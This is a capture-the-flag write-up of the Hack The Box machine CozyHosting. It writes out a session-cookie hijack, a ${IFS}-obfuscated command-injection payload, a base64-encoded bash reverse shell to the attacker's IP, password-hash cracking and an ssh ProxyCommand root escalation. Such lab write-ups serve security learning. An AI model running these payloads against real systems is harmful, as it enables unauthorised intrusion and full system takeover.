HTB: CozyHosting

Easy HTB machine where I exploit a Spring Boot webserver, the admin panel is vulnerable to code injection, which leads to a foothold after which I abuse postgresql to crack a users hash, and then privesc to root.

Nmap results

Shows port 22 and port 80 open

I add 10.10.11.230 cozyhosting.htb to my /etc/hosts file.

Website

Gobuster

Running gobuster gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
yielded no results.

Running dirsearch -u http://cozyhosting.htb returned quite some output:

Session cookie

Looking up actuator endpoint shows that this is Spring Boot

Looking through the endpoint /sessions jumps out, it contains the following data. Looking at our current cookie, it is the same as “UNAUTHORIZED”, I replace my current cookie with the value of kanderson and successfully get access to the admin panel.

Admin panel access

Command injection

On the bottom of the /admin page it shows the following

Capturing the request it does in BURP shows that if i don’t give a username it shows the ssh help menu. This looks like command injection.

I want to see if I can ping my own machine.
On my machine I start tcpdump sudo tcpdump -i tun0 so i can see if I receive the pings.

I use my kali box’s ip as username and try to ping it.

Troubleshooting

I could see in tcmpdump that there was data incoming, but no ICMP request show.

Getting a working command

After doing some reading and trying different things, I ended up with the following syntax that worked correctly. I found out about $IFS on https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions
host=127.0.0.1&username=;ping${IFS}10.10.14.52;

Shell as app

Now I need to get a reverse shell.

I first make a base64 representation of the standard bash reverse shell, so it can be transferred correctly.

So this is the command I want to execute via the admin dashboard

As seen in the ping command, the spaces needs to be escaped with ${IFS} and a ; in the beginning and the end.

;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Mi80NDQ0IDA+JjEK"|base64${IFS}-d|bash;

Then it needs to be url encoded, but I do this via burp.

I start my nc listener on port 4444 and after sending the request in burp i succesfully get a shell as app

I upgrade my simple shell to a interactive one using the python import pty trick.

Connection to database

Looking around the only interesting file is cloudhosting-0.0.1.jar in the directory we landed in initially.
I use an online java decompiler, to sniff around, and i found the following postgres information!

Checking if it is active

Using that information I successfully connect to the database

In postgres the following commands can be used to maneuver around

\l list all databases
\d describe all tables
\c <database name> acces / switch to a database

The cozyhosting database seems the most interesting so I go into that one.

And in the users folder i find the following hashes:

The password is hashed, so i try to crack the admin password with John.

Successfully cracked the password manchesterunited

I try to su as root, but no luck. I see which other users there are, and in the /home folder there is the user josh, he is also in the /etc/passwd file.
I try to su into josh with the password, and success!

User flag

Privecs

Running sudo -l to show josh permissions, it immediately shows he is allowed to run ssh as root.

After a quick check on gtfobins it shows the command to run sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Root flag